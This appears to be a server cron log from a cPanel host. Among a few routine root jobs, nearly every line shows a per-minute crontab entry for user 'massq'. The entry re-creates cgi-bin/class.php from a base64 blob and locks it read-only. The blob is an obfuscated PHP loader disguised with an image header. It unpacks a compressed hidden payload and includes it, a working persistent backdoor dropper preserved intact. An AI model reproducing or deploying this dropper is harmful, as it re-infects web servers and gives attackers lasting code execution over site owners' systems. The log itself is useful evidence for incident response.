Nov 13 14:57:01 server CROND[1272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:58:01 server CROND[2043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:59:01 server CROND[2908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:00:01 server CROND[3769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:00:01 server CROND[3771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 15:00:01 server CROND[3772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:00:01 server CROND[3773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:01:01 server CROND[4713]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 15:01:01 server CROND[4714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:01:01 server run-parts(/etc/cron.hourly)[4713]: starting 0anacron
Nov 13 15:01:01 server run-parts(/etc/cron.hourly)[4726]: finished 0anacron
Nov 13 15:02:01 server CROND[5530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:03:01 server CROND[6391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:04:01 server CROND[7255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:05:01 server CROND[8137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:05:01 server CROND[8136]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:05:01 server CROND[8140]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 15:05:01 server CROND[8142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:06:01 server CROND[9272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:07:01 server CROND[10229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:08:01 server CROND[10965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:09:01 server CROND[11869]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 15:09:01 server CROND[11870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:10:01 server CROND[12730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 15:10:01 server CROND[12731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:10:01 server CROND[12732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
